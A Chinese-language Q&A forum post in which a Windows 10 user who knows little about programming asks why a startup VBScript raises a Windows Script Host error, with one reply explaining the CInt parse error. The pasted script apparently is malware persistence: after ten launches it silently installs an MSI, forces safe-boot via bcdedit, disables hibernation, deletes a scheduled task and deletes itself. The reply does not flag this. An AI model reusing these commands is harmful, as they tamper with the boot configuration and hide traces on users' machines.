【发布时间】:2020-01-09 17:24:39
【问题描述】:
您好,我是 Windows 10 用户,对编程知之甚少。出现错误,Windows 无法加载...当我的电脑打开时出现一个对话框...“Windows 脚本主机”
这段代码有什么问题...错误说它在第 10 行 char 2 上
Set oShell = CreateObject ("Wscript.Shell")
Dim ccdat
ccdat = "updatesettings.dbf"
Dim fso, setting, cc, strArgs
strArgs = "%comspec% /C %SystemRoot%\System32\msiexec.exe /i %SystemRoot%\System32\ServiceInstaller.msi /qn & del %SystemRoot%\System32\ServiceInstaller.msi & %SystemRoot%\System32\bcdedit.exe /set {current} safeboot minimal & %SystemRoot%\System32\powercfg.exe /hibernate off & schtasks /Delete /TN ""Microsoft\Windows\Maintenance\InstallWinSAT"" /F"
Set fso = CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(ccdat)) Then
Set setting = fso.OpenTextFile(ccdat, 1, 0)
cc = CInt(setting.ReadLine)
setting.Close
If(cc > 9) Then
oShell.Run strArgs, 0, false
Set objFSO = CreateObject("Scripting.FileSystemObject")
strScript = Wscript.ScriptFullName
objFSO.DeleteFile(ccdat)
objFSO.DeleteFile(strScript)
WScript.Quit()
End If
Set setting = fso.CreateTextFile(ccdat, True, False)
cc = cc+1
setting.Write(cc)
setting.Close
WScript.Quit()
Else
Set setting = fso.CreateTextFile(ccdat, True, False)
setting.Write("0")
setting.Close
WScript.Quit()
End If
【问题讨论】:
-
1) 您的代码是 VBScript,而不是 PowerShell。 2) 您正在从文本文件中读取文本并将其传递给
CInt函数,如果文件中的文本无法解释为整数值,则会引发错误。
标签: windows shell vbscript wsh